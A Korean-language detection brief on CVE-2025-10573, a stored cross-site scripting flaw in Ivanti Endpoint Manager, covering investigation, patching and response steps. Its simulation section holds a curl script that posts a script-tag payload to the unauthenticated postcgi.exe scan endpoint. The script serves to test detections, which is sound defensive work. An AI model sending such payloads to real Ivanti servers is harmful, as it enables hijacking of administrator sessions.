Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Ivanti Endpoint Manager (EPM)은 인증되지 않은 공격자가 악성 JavaScript를 장치 스캔 데이터에 주입할 수 있는 저장된 크로스 사이트 스크립팅 취약성을 포함하고 있습니다. 이 페이로드가 관리 콘솔 웹 대시보드에 표시될 때 관리자의 세션을 탈취하는 데 사용할 수 있습니다. 이 문제는 CVE-2025-10573으로 추적되며 CVSS 점수는 9.6입니다.
조사
Rapid7은 Windows Server 2022에서 Ivanti EPM 11.0.6 Core 배포를 분석하여, /incomingdata/postcgi.exe로의 조작된 POST 요청이 악성 key=value 필드와 함께 전송되면 JavaScript가 저장되고 나중에 admin UI에서 실행된다는 것을 발견했습니다. 웹 루트 외부에 스캔 파일을 작성하는 postcgi.exe CGI 바이너리의 불안전한 동작이 이 주입 경로를 가능하게 합니다.
완화 방안
Ivanti는 2025-12-09에 패치를 릴리스하였고 Ivanti EPM 버전 2024 SU4 SR1로 업그레이드하면 취약성이 제거됩니다. Rapid7은 Exposure Command, InsightVM 및 Nexpose 고객이 영향을 받는 설치를 식별하는 데 도움이 되도록 인증된 취약성 검사를 제공할 것입니다.
대응
조직은 2024 SU4 SR1 업데이트를 즉시 배포하고, 인증되지 않은 /incomingdata API에 대한 액세스를 제한하며, 웹 서버 로그에서 postcgi.exe를 대상으로 하는 POST 요청을 모니터링해야 합니다. 또한 관리자 세션을 검토하여 탈취의 징후를 찾고 손상되었을 수 있는 자격 증명을 회전해야 합니다.
공격 흐름
이 부분은 아직 업데이트 중입니다. 알림 받기를 신청하세요
알림 신청시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 실행하도록 설계된 적대자 기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하도록 목표를 둡니다.
-
공격 서사 및 명령:
Ivanti EPM 스캔 엔드포인트가 인증 없이 접근할 수 있음을 발견한 공격자는<script>태그를 사용하여 경고(세션 탈취를 나타냄)를 나타내는 악성 스캔 페이로드를 만듭니다. 공격자는curl을 사용하여 이 페이로드를 POST하여 합법적인 장치 스캔 제출을 모방합니다. 페이로드가 규칙이 감시하는 문자열과 정확히 일치하기 때문에 SIEM에서는 경고를 생성해야 합니다. -
회귀 테스트 스크립트:
#!/bin/bash # ------------------------------------------------- # Ivanti EPM 스캔 API에 대한 저장된 XSS 시뮬레이션 # ------------------------------------------------- # 대상 URL (호스트를 필요에 맞게 조정) TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan" # 악성 페이로드 – 규칙이 예상하는 문자열과 정확히 일치 PAYLOAD="<script>alert('관리자 계정이 탈취되었습니다')</script>" # Ivanti EPM이 기대하는 전체 XML 본문 (간소화됨) XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>" # 요청 전송 curl -k -X POST "$TARGET" -H "Content-Type: application/xml" -d "$XML_BODY" echo "악성 스캔 제출됨." -
정리 명령:
스캔 데이터는 일반적으로 인증된 관리자가 필요로 하는 Ivanti EPM 데이터베이스에 지속됩니다. 테스트 목적으로 정리 단계는 로컬 로그 캡처에서 테스트 파일을 제거하는 것으로 제한됩니다.#!/bin/bash # 간단한 정리: 임시 curl 로그 제거 (있는 경우) rm -f /tmp/curl_log_* echo "로컬 테스트 아티팩트 제거됨."
SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀하의 비즈니스와 가장 관련 있는 위협에 대한 가시성을 향상시키세요. 시작하고 즉각적인 가치를 창출하기 위해 지금 SOC Prime 전문가와의 미팅을 예약하세요.
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